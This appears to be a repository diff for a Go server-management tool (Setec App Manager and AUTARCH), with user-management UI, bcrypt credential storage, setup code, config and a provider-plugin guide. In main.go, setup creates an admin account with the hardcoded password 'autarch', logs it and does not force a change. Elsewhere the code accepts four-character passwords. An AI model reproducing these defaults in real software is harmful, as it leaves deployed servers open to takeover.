func (a App) renderUsersMenu() string {
var b strings.Builder
b.WriteString(styleTitle.Render("USER MANAGEMENT"))
b.WriteString("\n")
b.WriteString(a.renderHR())
b.WriteString("\n")
// Show current credentials info
dir := findAutarchDir()
creds, err := users.LoadCredentials(dir)
if err != nil {
b.WriteString(styleWarning.Render(" No credentials file found — using defaults (admin/admin)"))
b.WriteString("\n\n")
} else {
b.WriteString(" " + styleKey.Render("Current user: ") +
lipgloss.NewStyle().Foreground(colorWhite).Bold(true).Render(creds.Username))
b.WriteString("\n")
if creds.ForceChange {
b.WriteString(" " + styleWarning.Render("⚠ Password change required on next login"))
} else {
b.WriteString(" " + styleSuccess.Render("✔ Password is set"))
}
b.WriteString("\n\n")
}
b.WriteString(a.renderHR())
b.WriteString("\n")
b.WriteString(styleKey.Render(" [c]") + " Create new user / change username\n")
b.WriteString(styleKey.Render(" [r]") + " Reset password\n")
b.WriteString(styleKey.Render(" [f]") + " Force password change on next login\n")
b.WriteString(styleKey.Render(" [d]") + " Reset to defaults (admin/admin)\n")
b.WriteString("\n")
b.WriteString(styleDim.Render(" esc back"))
b.WriteString("\n")
return b.String()
}
// ── Key Handling ────────────────────────────────────────────────────
func (a App) handleUsersMenu(key string) (tea.Model, tea.Cmd) {
switch key {
case "c":
return a.openUserCreateForm()
case "r":
return a.openUserResetForm()
case "f":
return a.forcePasswordChange()
case "d":
a.confirmPrompt = "Reset credentials to admin/admin? This cannot be undone."
a.confirmAction = func() tea.Cmd {
return func() tea.Msg {
dir := findAutarchDir()
err := users.ResetToDefaults(dir)
if err != nil {
return ResultMsg{Title: "Error", Lines: []string{err.Error()}, IsError: true}
}
return ResultMsg{
Title: "Credentials Reset",
Lines: []string{
"Username: admin",
"Password: admin",
"",
"Force change on next login: YES",
},
}
}
}
a.pushView(ViewConfirm)
return a, nil
}
return a, nil
}
// ── Forms ───────────────────────────────────────────────────────────
func (a App) openUserCreateForm() (App, tea.Cmd) {
a.labels = []string{"Username", "Password", "Confirm Password"}
a.inputs = make([]textinput.Model, 3)
for i := range a.inputs {
ti := textinput.New()
ti.CharLimit = 128
ti.Width = 40
if i > 0 {
ti.EchoMode = textinput.EchoPassword
}
if i == 0 {
ti.Focus()
}
a.inputs[i] = ti
}
a.focusIdx = 0
a.pushView(ViewUsersCreate)
return a, nil
}
func (a App) openUserResetForm() (App, tea.Cmd) {
a.labels = []string{"New Password", "Confirm Password"}
a.inputs = make([]textinput.Model, 2)
for i := range a.inputs {
ti := textinput.New()
ti.CharLimit = 128
ti.Width = 40
ti.EchoMode = textinput.EchoPassword
if i == 0 {
ti.Focus()
}
a.inputs[i] = ti
}
a.focusIdx = 0
a.pushView(ViewUsersReset)
return a, nil
}
func (a App) submitUserCreate() (App, tea.Cmd) {
username := a.inputs[0].Value()
password := a.inputs[1].Value()
confirm := a.inputs[2].Value()
if username == "" {
return a, func() tea.Msg {
return ResultMsg{Title: "Error", Lines: []string{"Username cannot be empty."}, IsError: true}
}
}
if len(password) < 4 {
return a, func() tea.Msg {
return ResultMsg{Title: "Error", Lines: []string{"Password must be at least 4 characters."}, IsError: true}
}
}
if password != confirm {
return a, func() tea.Msg {
return ResultMsg{Title: "Error", Lines: []string{"Passwords do not match."}, IsError: true}
}
}
dir := findAutarchDir()
err := users.CreateUser(dir, username, password)
a.popView()
if err != nil {
return a, func() tea.Msg {
return ResultMsg{Title: "Error", Lines: []string{err.Error()}, IsError: true}
}
}
return a, func() tea.Msg {
return ResultMsg{
Title: "User Created",
Lines: []string{
"Username: " + username,
"Password: (set)",
"",
"Restart the web dashboard for changes to take effect.",
},
}
}
}
func (a App) submitUserReset() (App, tea.Cmd) {
password := a.inputs[0].Value()
confirm := a.inputs[1].Value()
if len(password) < 4 {
return a, func() tea.Msg {
return ResultMsg{Title: "Error", Lines: []string{"Password must be at least 4 characters."}, IsError: true}
}
}
if password != confirm {
return a, func() tea.Msg {
return ResultMsg{Title: "Error", Lines: []string{"Passwords do not match."}, IsError: true}
}
}
dir := findAutarchDir()
err := users.ResetPassword(dir, password)
a.popView()
if err != nil {
return a, func() tea.Msg {
return ResultMsg{Title: "Error", Lines: []string{err.Error()}, IsError: true}
}
}
return a, func() tea.Msg {
return ResultMsg{
Title: "Password Reset",
Lines: []string{"Password has been updated.", "", "Force change on next login: NO"},
}
}
}
func (a App) forcePasswordChange() (App, tea.Cmd) {
dir := findAutarchDir()
err := users.SetForceChange(dir, true)
if err != nil {
return a, func() tea.Msg {
return ResultMsg{Title: "Error", Lines: []string{err.Error()}, IsError: true}
}
}
return a, func() tea.Msg {
return ResultMsg{
Title: "Force Change Enabled",
Lines: []string{"User will be required to change password on next login."},
}
}
}

View File

@ -0,0 +1,114 @@
// Package users manages AUTARCH web dashboard credentials.
// Credentials are stored in data/web_credentials.json as bcrypt hashes.
package users
import (
"encoding/json"
"fmt"
"os"
"path/filepath"
"golang.org/x/crypto/bcrypt"
)
// Credentials matches the Python web_credentials.json format.
type Credentials struct {
Username string `json:"username"`
Password string `json:"password"`
ForceChange bool `json:"force_change"`
}
func credentialsPath(autarchDir string) string {
return filepath.Join(autarchDir, "data", "web_credentials.json")
}
// LoadCredentials reads the current credentials from disk.
func LoadCredentials(autarchDir string) (*Credentials, error) {
path := credentialsPath(autarchDir)
data, err := os.ReadFile(path)
if err != nil {
return nil, fmt.Errorf("read credentials: %w", err)
}
var creds Credentials
if err := json.Unmarshal(data, &creds); err != nil {
return nil, fmt.Errorf("parse credentials: %w", err)
}
return &creds, nil
}
// SaveCredentials writes credentials to disk.
func SaveCredentials(autarchDir string, creds *Credentials) error {
path := credentialsPath(autarchDir)
// Ensure data directory exists
os.MkdirAll(filepath.Dir(path), 0755)
data, err := json.MarshalIndent(creds, "", " ")
if err != nil {
return fmt.Errorf("marshal credentials: %w", err)
}
if err := os.WriteFile(path, data, 0600); err != nil {
return fmt.Errorf("write credentials: %w", err)
}
return nil
}
// CreateUser creates a new user with bcrypt-hashed password.
func CreateUser(autarchDir, username, password string) error {
hash, err := bcrypt.GenerateFromPassword([]byte(password), bcrypt.DefaultCost)
if err != nil {
return fmt.Errorf("hash password: %w", err)
}
creds := &Credentials{
Username: username,
Password: string(hash),
ForceChange: false,
}
return SaveCredentials(autarchDir, creds)
}
// ResetPassword changes the password for the existing user.
func ResetPassword(autarchDir, newPassword string) error {
creds, err := LoadCredentials(autarchDir)
if err != nil {
// If no file exists, create with default username
creds = &Credentials{Username: "admin"}
}
hash, err := bcrypt.GenerateFromPassword([]byte(newPassword), bcrypt.DefaultCost)
if err != nil {
return fmt.Errorf("hash password: %w", err)
}
creds.Password = string(hash)
creds.ForceChange = false
return SaveCredentials(autarchDir, creds)
}
// SetForceChange sets the force_change flag.
func SetForceChange(autarchDir string, force bool) error {
creds, err := LoadCredentials(autarchDir)
if err != nil {
return err
}
creds.ForceChange = force
return SaveCredentials(autarchDir, creds)
}
// ResetToDefaults resets credentials to admin/admin with force change.
func ResetToDefaults(autarchDir string) error {
hash, err := bcrypt.GenerateFromPassword([]byte("admin"), bcrypt.DefaultCost)
if err != nil {
return fmt.Errorf("hash password: %w", err)
}
creds := &Credentials{
Username: "admin",
Password: string(hash),
ForceChange: true,
}
return SaveCredentials(autarchDir, creds)
}

View File

@ -0,0 +1,12 @@
#!/bin/bash
# Build Setec App Manager for Debian 13 (linux/amd64)
set -e
echo "Building Setec App Manager..."
GOOS=linux GOARCH=amd64 go build -ldflags="-s -w" -o setec-manager ./cmd/
echo "Binary: setec-manager ($(du -h setec-manager | cut -f1))"
echo ""
echo "Deploy to VPS:"
echo " scp setec-manager root@<your-vps>:/opt/setec-manager/"
echo " ssh root@<your-vps> '/opt/setec-manager/setec-manager --setup'"

Binary file not shown.

View File

@ -0,0 +1,258 @@
package main
import (
"context"
"flag"
"fmt"
"log"
"os"
"os/exec"
"os/signal"
"path/filepath"
"strings"
"syscall"
"time"
"setec-manager/internal/config"
"setec-manager/internal/db"
"setec-manager/internal/deploy"
"setec-manager/internal/nginx"
"setec-manager/internal/scheduler"
"setec-manager/internal/server"
)
const banner = `
A P P M A N A G E R v1.0
darkHal Security Group & Setec Security Labs
`
func main() {
configPath := flag.String("config", "/opt/setec-manager/config.yaml", "Path to config file")
setup := flag.Bool("setup", false, "Run first-time setup")
flag.Parse()
fmt.Print(banner)
// Load config
cfg, err := config.Load(*configPath)
if err != nil {
log.Fatalf("[setec] Failed to load config: %v", err)
}
// Open database
database, err := db.Open(cfg.Database.Path)
if err != nil {
log.Fatalf("[setec] Failed to open database: %v", err)
}
defer database.Close()
// First-time setup
if *setup {
runSetup(cfg, database, *configPath)
return
}
// Check if any admin users exist
count, _ := database.ManagerUserCount()
if count == 0 {
log.Println("[setec] No admin users found. Creating default admin account.")
log.Println("[setec] Username: admin")
log.Println("[setec] Password: autarch")
log.Println("[setec] ** CHANGE THIS IMMEDIATELY **")
database.CreateManagerUser("admin", "autarch", "admin")
}
// Load or create persistent JWT key
dataDir := filepath.Dir(cfg.Database.Path)
jwtKey, err := server.LoadOrCreateJWTKey(dataDir)
if err != nil {
log.Fatalf("[setec] Failed to load JWT key: %v", err)
}
// Create and start server
srv := server.New(cfg, database, jwtKey)
// Start scheduler
sched := scheduler.New(database)
sched.RegisterHandler(scheduler.JobSSLRenew, func(siteID *int64) error {
log.Println("[scheduler] Running SSL renewal")
_, err := exec.Command("certbot", "renew", "--non-interactive").CombinedOutput()
return err
})
sched.RegisterHandler(scheduler.JobCleanup, func(siteID *int64) error {
log.Println("[scheduler] Running cleanup")
return nil
})
sched.RegisterHandler(scheduler.JobBackup, func(siteID *int64) error {
if siteID == nil {
log.Println("[scheduler] Backup job requires a site ID, skipping")
return fmt.Errorf("backup job requires a site ID")
}
site, err := database.GetSite(*siteID)
if err != nil || site == nil {
return fmt.Errorf("backup: site %d not found", *siteID)
}
backupDir := cfg.Backups.Dir
os.MkdirAll(backupDir, 0755)
timestamp := time.Now().Format("20060102-150405")
filename := fmt.Sprintf("site-%s-%s.tar.gz", site.Domain, timestamp)
backupPath := filepath.Join(backupDir, filename)
cmd := exec.Command("tar", "-czf", backupPath, "-C", filepath.Dir(site.AppRoot), filepath.Base(site.AppRoot))
out, err := cmd.CombinedOutput()
if err != nil {
return fmt.Errorf("backup tar failed: %s: %w", string(out), err)
}
info, _ := os.Stat(backupPath)
size := int64(0)
if info != nil {
size = info.Size()
}
database.CreateBackup(siteID, "site", backupPath, size)
log.Printf("[scheduler] Backup complete for site %s: %s (%d bytes)", site.Domain, backupPath, size)
return nil
})
sched.RegisterHandler(scheduler.JobGitPull, func(siteID *int64) error {
if siteID == nil {
return fmt.Errorf("git_pull job requires a site ID")
}
site, err := database.GetSite(*siteID)
if err != nil || site == nil {
return fmt.Errorf("git_pull: site %d not found", *siteID)
}
if site.GitRepo == "" {
return fmt.Errorf("git_pull: site %s has no git repo configured", site.Domain)
}
output, err := deploy.Pull(site.AppRoot)
if err != nil {
return fmt.Errorf("git_pull %s: %w", site.Domain, err)
}
log.Printf("[scheduler] Git pull for site %s: %s", site.Domain, strings.TrimSpace(output))
return nil
})
sched.RegisterHandler(scheduler.JobRestart, func(siteID *int64) error {
if siteID == nil {
return fmt.Errorf("restart job requires a site ID")
}
site, err := database.GetSite(*siteID)
if err != nil || site == nil {
return fmt.Errorf("restart: site %d not found", *siteID)
}
unitName := fmt.Sprintf("app-%s", site.Domain)
if err := deploy.Restart(unitName); err != nil {
return fmt.Errorf("restart %s: %w", site.Domain, err)
}
log.Printf("[scheduler] Restarted service for site %s (unit: %s)", site.Domain, unitName)
return nil
})
sched.Start()
// Graceful shutdown
done := make(chan os.Signal, 1)
signal.Notify(done, os.Interrupt, syscall.SIGTERM)
go func() {
if err := srv.Start(); err != nil {
log.Fatalf("[setec] Server error: %v", err)
}
}()
log.Printf("[setec] Dashboard: https://%s:%d", cfg.Server.Host, cfg.Server.Port)
<-done
log.Println("[setec] Shutting down...")
sched.Stop()
ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
defer cancel()
srv.Shutdown(ctx)
}
func runSetup(cfg *config.Config, database *db.DB, configPath string) {
log.Println("[setup] Starting first-time setup...")
// Ensure directories exist
dirs := []string{
"/opt/setec-manager/data",
"/opt/setec-manager/data/acme",
"/opt/setec-manager/data/backups",
cfg.Nginx.Webroot,
cfg.Nginx.CertbotWebroot,
cfg.Nginx.SitesAvailable,
cfg.Nginx.SitesEnabled,
}
for _, d := range dirs {
os.MkdirAll(d, 0755)
}
// Install Nginx if needed
log.Println("[setup] Installing nginx...")
execQuiet("apt-get", "update", "-qq")
execQuiet("apt-get", "install", "-y", "nginx", "certbot", "ufw")
// Install nginx snippets
log.Println("[setup] Configuring nginx snippets...")
nginx.InstallSnippets(cfg)
// Create admin user
count, _ := database.ManagerUserCount()
if count == 0 {
log.Println("[setup] Creating default admin user (admin / autarch)")
database.CreateManagerUser("admin", "autarch", "admin")
}
// Save config
cfg.Save(configPath)
// Generate self-signed cert for manager if none exists
if _, err := os.Stat(cfg.Server.Cert); os.IsNotExist(err) {
log.Println("[setup] Generating self-signed TLS cert for manager...")
os.MkdirAll(cfg.ACME.AccountDir, 0755)
execQuiet("openssl", "req", "-x509", "-newkey", "rsa:2048",
"-keyout", cfg.Server.Key, "-out", cfg.Server.Cert,
"-days", "3650", "-nodes",
"-subj", "/CN=setec-manager/O=Setec Security Labs")
}
// Install systemd unit for setec-manager
unit := `[Unit]
Description=Setec App Manager
After=network.target
[Service]
Type=simple
User=root
ExecStart=/opt/setec-manager/setec-manager --config /opt/setec-manager/config.yaml
Restart=on-failure
RestartSec=5
[Install]
WantedBy=multi-user.target
`
os.WriteFile("/etc/systemd/system/setec-manager.service", []byte(unit), 0644)
execQuiet("systemctl", "daemon-reload")
log.Println("[setup] Setup complete!")
log.Println("[setup] Start with: systemctl start setec-manager")
log.Printf("[setup] Dashboard will be at: https://<your-ip>:%d\n", cfg.Server.Port)
}
func execQuiet(name string, args ...string) {
log.Printf("[setup] $ %s %s", name, strings.Join(args, " "))
cmd := exec.Command(name, args...)
out, err := cmd.CombinedOutput()
if err != nil {
log.Printf("[setup] Warning: %v\n%s", err, string(out))
}
}

View File

@ -0,0 +1,44 @@
server:
host: "0.0.0.0"
port: 9090
tls: true
cert: "/opt/setec-manager/data/acme/manager.crt"
key: "/opt/setec-manager/data/acme/manager.key"
database:
path: "/opt/setec-manager/data/setec.db"
nginx:
sites_available: "/etc/nginx/sites-available"
sites_enabled: "/etc/nginx/sites-enabled"
snippets: "/etc/nginx/snippets"
webroot: "/var/www"
certbot_webroot: "/var/www/certbot"
acme:
email: ""
staging: false
account_dir: "/opt/setec-manager/data/acme"
autarch:
install_dir: "/var/www/autarch"
git_repo: "https://github.com/DigijEth/autarch.git"
git_branch: "main"
web_port: 8181
dns_port: 53
float:
enabled: false
max_sessions: 10
session_ttl: "24h"
backups:
dir: "/opt/setec-manager/data/backups"
max_age_days: 30
max_count: 50
logging:
level: "info"
file: "/var/log/setec-manager.log"
max_size_mb: 100
max_backups: 3

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,790 @@
# Custom Hosting Provider Guide
This guide walks you through creating a new hosting provider integration for Setec Manager. By the end, you will have a provider package that auto-registers with the system and can be used through the same unified API as the built-in Hostinger provider.
---
## Prerequisites
- Go 1.25+ (matching the project's `go.mod`)
- Familiarity with the Go `interface` pattern and HTTP client programming
- An API key or credentials for the hosting provider you are integrating
- A checkout of the `setec-manager` repository
---
## Project Structure
Provider implementations live under `internal/hosting/<provider_name>/`. Each provider is its own Go package.
```
internal/hosting/
provider.go -- Provider interface + model types + registry
store.go -- ProviderConfig, ProviderConfigStore
config.go -- Legacy config store
hostinger/ -- Built-in Hostinger provider
client.go -- HTTP client, auth, retry logic
dns.go -- DNS record operations
myprovider/ -- Your new provider (create this)
provider.go -- init() registration + interface methods
client.go -- HTTP client for the provider's API
dns.go -- (optional) DNS-specific logic
domains.go -- (optional) Domain-specific logic
vms.go -- (optional) VPS-specific logic
```
You can organize files however you like within the package; the only requirement is that the package calls `hosting.Register(...)` in an `init()` function.
---
## The Provider Interface
The `Provider` interface is defined in `internal/hosting/provider.go`. Every provider must implement all methods. Methods that your provider does not support should return `ErrNotSupported`.
```go
type Provider interface {
// Identity
Name() string
DisplayName() string
// Configuration
Configure(config map[string]string) error
TestConnection() error
// DNS
ListDNSRecords(domain string) ([]DNSRecord, error)
CreateDNSRecord(domain string, record DNSRecord) error
UpdateDNSRecords(domain string, records []DNSRecord, overwrite bool) error
DeleteDNSRecord(domain string, recordName, recordType string) error
ResetDNSRecords(domain string) error
// Domains
ListDomains() ([]Domain, error)
GetDomain(domain string) (*Domain, error)
CheckDomainAvailability(domains []string) ([]DomainAvailability, error)
PurchaseDomain(req DomainPurchaseRequest) (*Domain, error)
SetNameservers(domain string, nameservers []string) error
EnableDomainLock(domain string) error
DisableDomainLock(domain string) error
EnablePrivacyProtection(domain string) error
DisablePrivacyProtection(domain string) error
// VMs / VPS
ListVMs() ([]VM, error)
GetVM(id string) (*VM, error)
CreateVM(req VMCreateRequest) (*VM, error)
ListDataCenters() ([]DataCenter, error)
ListSSHKeys() ([]SSHKey, error)
AddSSHKey(name, publicKey string) (*SSHKey, error)
DeleteSSHKey(id string) error
// Billing
ListSubscriptions() ([]Subscription, error)
GetCatalog() ([]CatalogItem, error)
}
```
### Method Reference
#### Identity Methods
| Method | Parameters | Returns | Description |
|---|---|---|---|
| `Name()` | - | `string` | Short machine-readable name (lowercase, no spaces). Used as the registry key and in API URLs. Example: `"hostinger"`, `"cloudflare"`. |
| `DisplayName()` | - | `string` | Human-readable name shown in the UI. Example: `"Hostinger"`, `"Cloudflare"`. |
#### Configuration Methods
| Method | Parameters | Returns | Description |
|---|---|---|---|
| `Configure(config)` | `map[string]string` -- key-value config pairs. Common keys: `"api_key"`, `"api_secret"`, `"base_url"`. | `error` | Called when a user saves credentials. Store them in struct fields. Validate format but do not make API calls. |
| `TestConnection()` | - | `error` | Make a lightweight API call (e.g., list domains) to verify credentials are valid. Return `nil` on success. |
#### DNS Methods
| Method | Parameters | Returns | Description |
|---|---|---|---|
| `ListDNSRecords(domain)` | `domain string` -- the FQDN | `([]DNSRecord, error)` | Return all DNS records for the zone. |
| `CreateDNSRecord(domain, record)` | `domain string`, `record DNSRecord` | `error` | Add a single record without affecting existing records. |
| `UpdateDNSRecords(domain, records, overwrite)` | `domain string`, `records []DNSRecord`, `overwrite bool` | `error` | Batch update. If `overwrite` is true, replace all records; otherwise merge. |
| `DeleteDNSRecord(domain, recordName, recordType)` | `domain string`, `recordName string` (subdomain or `@`), `recordType string` (e.g. `"A"`) | `error` | Delete matching records. |
| `ResetDNSRecords(domain)` | `domain string` | `error` | Reset the zone to provider defaults. |
#### Domain Methods
| Method | Parameters | Returns | Description |
|---|---|---|---|
| `ListDomains()` | - | `([]Domain, error)` | Return all domains on the account. |
| `GetDomain(domain)` | `domain string` | `(*Domain, error)` | Return details for a single domain. |
| `CheckDomainAvailability(domains)` | `domains []string` | `([]DomainAvailability, error)` | Check if domains are available for registration and return pricing. |
| `PurchaseDomain(req)` | `req DomainPurchaseRequest` | `(*Domain, error)` | Register a new domain. |
| `SetNameservers(domain, nameservers)` | `domain string`, `nameservers []string` | `error` | Update the authoritative nameservers. |
| `EnableDomainLock(domain)` | `domain string` | `error` | Enable registrar lock (transfer protection). |
| `DisableDomainLock(domain)` | `domain string` | `error` | Disable registrar lock. |
| `EnablePrivacyProtection(domain)` | `domain string` | `error` | Enable WHOIS privacy. |
| `DisablePrivacyProtection(domain)` | `domain string` | `error` | Disable WHOIS privacy. |
#### VM / VPS Methods
| Method | Parameters | Returns | Description |
|---|---|---|---|
| `ListVMs()` | - | `([]VM, error)` | Return all VPS instances on the account. |
| `GetVM(id)` | `id string` | `(*VM, error)` | Return details for a single VM. |
| `CreateVM(req)` | `req VMCreateRequest` | `(*VM, error)` | Provision a new VPS instance. |
| `ListDataCenters()` | - | `([]DataCenter, error)` | Return available regions/data centers. |
| `ListSSHKeys()` | - | `([]SSHKey, error)` | Return all stored SSH public keys. |
| `AddSSHKey(name, publicKey)` | `name string`, `publicKey string` | `(*SSHKey, error)` | Upload a new SSH public key. |
| `DeleteSSHKey(id)` | `id string` | `error` | Remove an SSH key. |
#### Billing Methods
| Method | Parameters | Returns | Description |
|---|---|---|---|
| `ListSubscriptions()` | - | `([]Subscription, error)` | Return all active subscriptions. |
| `GetCatalog()` | - | `([]CatalogItem, error)` | Return purchasable products and plans. |
---
## Type Reference
All model types are defined in `internal/hosting/provider.go`.
### DNSRecord
| Field | Type | JSON | Description |
|---|---|---|---|
| `ID` | `string` | `id` | Provider-assigned identifier. May be synthesized (e.g., `name/type/priority`). Optional on create. |
| `Type` | `string` | `type` | Record type: `A`, `AAAA`, `CNAME`, `MX`, `TXT`, `NS`, `SRV`, `CAA`. |
| `Name` | `string` | `name` | Subdomain label or `@` for the zone apex. |
| `Content` | `string` | `content` | Record value (IP address, hostname, text, etc.). |
| `TTL` | `int` | `ttl` | Time-to-live in seconds. |
| `Priority` | `int` | `priority` | Priority value for MX and SRV records. Zero for other types. |
### Domain
| Field | Type | JSON | Description |
|---|---|---|---|
| `Name` | `string` | `name` | Fully qualified domain name. |
| `Registrar` | `string` | `registrar` | Registrar name (optional). |
| `Status` | `string` | `status` | Registration status (e.g., `"active"`, `"expired"`, `"pending"`). |
| `ExpiresAt` | `time.Time` | `expires_at` | Expiration date. |
| `AutoRenew` | `bool` | `auto_renew` | Whether automatic renewal is enabled. |
| `Locked` | `bool` | `locked` | Whether transfer lock is enabled. |
| `PrivacyProtection` | `bool` | `privacy_protection` | Whether WHOIS privacy is enabled. |
| `Nameservers` | `[]string` | `nameservers` | Current authoritative nameservers. |
### DomainAvailability
| Field | Type | JSON | Description |
|---|---|---|---|
| `Domain` | `string` | `domain` | The queried domain name. |
| `Available` | `bool` | `available` | Whether the domain is available for registration. |
| `Price` | `float64` | `price` | Purchase price (zero if unavailable). |
| `Currency` | `string` | `currency` | Currency code (e.g., `"USD"`). |
### DomainPurchaseRequest
| Field | Type | JSON | Description |
|---|---|---|---|
| `Domain` | `string` | `domain` | Domain to purchase. |
| `Period` | `int` | `period` | Registration period in years. |
| `AutoRenew` | `bool` | `auto_renew` | Enable auto-renewal. |
| `Privacy` | `bool` | `privacy_protection` | Enable WHOIS privacy. |
| `PaymentID` | `string` | `payment_method_id` | Payment method identifier (optional, provider-specific). |
### VM
| Field | Type | JSON | Description |
|---|---|---|---|
| `ID` | `string` | `id` | Provider-assigned VM identifier. |
| `Name` | `string` | `name` | Human-readable VM name / hostname. |
| `Status` | `string` | `status` | Current state: `"running"`, `"stopped"`, `"creating"`, `"error"`. |
| `Plan` | `string` | `plan` | Plan/tier identifier. |
| `Region` | `string` | `region` | Data center / region identifier. |
| `IPv4` | `string` | `ipv4` | Public IPv4 address (optional). |
| `IPv6` | `string` | `ipv6` | Public IPv6 address (optional). |
| `OS` | `string` | `os` | Operating system template name (optional). |
| `CPUs` | `int` | `cpus` | Number of virtual CPUs. |
| `MemoryMB` | `int` | `memory_mb` | RAM in megabytes. |
| `DiskGB` | `int` | `disk_gb` | Disk size in gigabytes. |
| `BandwidthGB` | `int` | `bandwidth_gb` | Monthly bandwidth allowance in gigabytes. |
| `CreatedAt` | `time.Time` | `created_at` | Creation timestamp. |
| `Labels` | `map[string]string` | `labels` | Arbitrary key-value labels (optional). |
### VMCreateRequest
| Field | Type | JSON | Description |
|---|---|---|---|
| `Plan` | `string` | `plan` | Plan/tier identifier from the catalog. |
| `DataCenterID` | `string` | `data_center_id` | Target data center from `ListDataCenters()`. |
| `Template` | `string` | `template` | OS template identifier. |
| `Password` | `string` | `password` | Root/admin password for the VM. |
| `Hostname` | `string` | `hostname` | Desired hostname. |
| `SSHKeyID` | `string` | `ssh_key_id` | SSH key to install (optional). |
| `PaymentID` | `string` | `payment_method_id` | Payment method identifier (optional). |
### DataCenter
| Field | Type | JSON | Description |
|---|---|---|---|
| `ID` | `string` | `id` | Unique identifier used in `VMCreateRequest`. |
| `Name` | `string` | `name` | Short name (e.g., `"US East"`). |
| `Location` | `string` | `location` | City or locality. |
| `Country` | `string` | `country` | ISO country code. |
### SSHKey
| Field | Type | JSON | Description |
|---|---|---|---|
| `ID` | `string` | `id` | Provider-assigned key identifier. |
| `Name` | `string` | `name` | User-assigned label. |
| `Fingerprint` | `string` | `fingerprint` | Key fingerprint (e.g., `"SHA256:..."`). |
| `PublicKey` | `string` | `public_key` | Full public key string. |
### Subscription
| Field | Type | JSON | Description |
|---|---|---|---|
| `ID` | `string` | `id` | Subscription identifier. |
| `Name` | `string` | `name` | Product name. |
| `Status` | `string` | `status` | Status: `"active"`, `"cancelled"`, `"expired"`. |
| `Plan` | `string` | `plan` | Plan identifier. |
| `Price` | `float64` | `price` | Recurring price. |
| `Currency` | `string` | `currency` | Currency code. |
| `RenewsAt` | `time.Time` | `renews_at` | Next renewal date. |
| `CreatedAt` | `time.Time` | `created_at` | Subscription start date. |
### CatalogItem
| Field | Type | JSON | Description |
|---|---|---|---|
| `ID` | `string` | `id` | Product/plan identifier. |
| `Name` | `string` | `name` | Product name. |
| `Category` | `string` | `category` | Category: `"vps"`, `"hosting"`, `"domain"`, etc. |
| `PriceCents` | `int` | `price_cents` | Price in cents (e.g., 1199 = $11.99). |
| `Currency` | `string` | `currency` | Currency code. |
| `Period` | `string` | `period` | Billing period: `"monthly"`, `"yearly"`. |
| `Description` | `string` | `description` | Human-readable description (optional). |
### ProviderConfig
Stored in `internal/hosting/store.go`. This is the credential record persisted to disk.
| Field | Type | JSON | Description |
|---|---|---|---|
| `Provider` | `string` | `provider` | Provider name (must match `Provider.Name()`). |
| `APIKey` | `string` | `api_key` | Primary API key or bearer token. |
| `APISecret` | `string` | `api_secret` | Secondary secret (optional, provider-specific). |
| `Extra` | `map[string]string` | `extra` | Additional provider-specific config values. |
| `Connected` | `bool` | `connected` | Whether the last `TestConnection()` succeeded. |
---
## Implementing the Interface
### Step 1: Create the Package
```bash
mkdir -p internal/hosting/myprovider
```
### Step 2: Implement the Provider
Create `internal/hosting/myprovider/provider.go`:
```go
package myprovider
import (
"errors"
"fmt"
"net/http"
"time"
"setec-manager/internal/hosting"
)
// ErrNotSupported is returned by methods this provider does not implement.
var ErrNotSupported = errors.New("myprovider: operation not supported")
// Provider implements hosting.Provider for the MyProvider service.
type Provider struct {
client *http.Client
apiKey string
baseURL string
}
// init registers this provider with the hosting registry.
// This runs automatically when the package is imported.
func init() {
hosting.Register(&Provider{
client: &http.Client{
Timeout: 30 * time.Second,
},
baseURL: "https://api.myprovider.com",
})
}
// ── Identity ────────────────────────────────────────────────────────
func (p *Provider) Name() string { return "myprovider" }
func (p *Provider) DisplayName() string { return "My Provider" }
// ── Configuration ───────────────────────────────────────────────────
func (p *Provider) Configure(config map[string]string) error {
key, ok := config["api_key"]
if !ok || key == "" {
return fmt.Errorf("myprovider: api_key is required")
}
p.apiKey = key
if baseURL, ok := config["base_url"]; ok && baseURL != "" {
p.baseURL = baseURL
}
return nil
}
func (p *Provider) TestConnection() error {
// Make a lightweight API call to verify credentials.
// For example, list domains or get account info.
_, err := p.ListDomains()
return err
}
// ── DNS ─────────────────────────────────────────────────────────────
func (p *Provider) ListDNSRecords(domain string) ([]hosting.DNSRecord, error) {
// TODO: Implement API call to list DNS records
return nil, ErrNotSupported
}
func (p *Provider) CreateDNSRecord(domain string, record hosting.DNSRecord) error {
return ErrNotSupported
}
func (p *Provider) UpdateDNSRecords(domain string, records []hosting.DNSRecord, overwrite bool) error {
return ErrNotSupported
}
func (p *Provider) DeleteDNSRecord(domain string, recordName, recordType string) error {
return ErrNotSupported
}
func (p *Provider) ResetDNSRecords(domain string) error {
return ErrNotSupported
}
// ── Domains ─────────────────────────────────────────────────────────
func (p *Provider) ListDomains() ([]hosting.Domain, error) {
return nil, ErrNotSupported
}
func (p *Provider) GetDomain(domain string) (*hosting.Domain, error) {
return nil, ErrNotSupported
}
func (p *Provider) CheckDomainAvailability(domains []string) ([]hosting.DomainAvailability, error) {
return nil, ErrNotSupported
}
func (p *Provider) PurchaseDomain(req hosting.DomainPurchaseRequest) (*hosting.Domain, error) {
return nil, ErrNotSupported
}
func (p *Provider) SetNameservers(domain string, nameservers []string) error {
return ErrNotSupported
}
func (p *Provider) EnableDomainLock(domain string) error { return ErrNotSupported }
func (p *Provider) DisableDomainLock(domain string) error { return ErrNotSupported }
func (p *Provider) EnablePrivacyProtection(domain string) error { return ErrNotSupported }
func (p *Provider) DisablePrivacyProtection(domain string) error { return ErrNotSupported }
// ── VMs / VPS ───────────────────────────────────────────────────────
func (p *Provider) ListVMs() ([]hosting.VM, error) { return nil, ErrNotSupported }
func (p *Provider) GetVM(id string) (*hosting.VM, error) { return nil, ErrNotSupported }
func (p *Provider) CreateVM(req hosting.VMCreateRequest) (*hosting.VM, error) { return nil, ErrNotSupported }
func (p *Provider) ListDataCenters() ([]hosting.DataCenter, error) { return nil, ErrNotSupported }
func (p *Provider) ListSSHKeys() ([]hosting.SSHKey, error) { return nil, ErrNotSupported }
func (p *Provider) AddSSHKey(name, publicKey string) (*hosting.SSHKey, error) { return nil, ErrNotSupported }
func (p *Provider) DeleteSSHKey(id string) error { return ErrNotSupported }
// ── Billing ─────────────────────────────────────────────────────────
func (p *Provider) ListSubscriptions() ([]hosting.Subscription, error) { return nil, ErrNotSupported }
func (p *Provider) GetCatalog() ([]hosting.CatalogItem, error) { return nil, ErrNotSupported }
```
---
## Registration
Registration happens automatically via Go's `init()` mechanism. When the main binary imports the provider package (even as a side-effect import), the `init()` function runs and calls `hosting.Register()`.
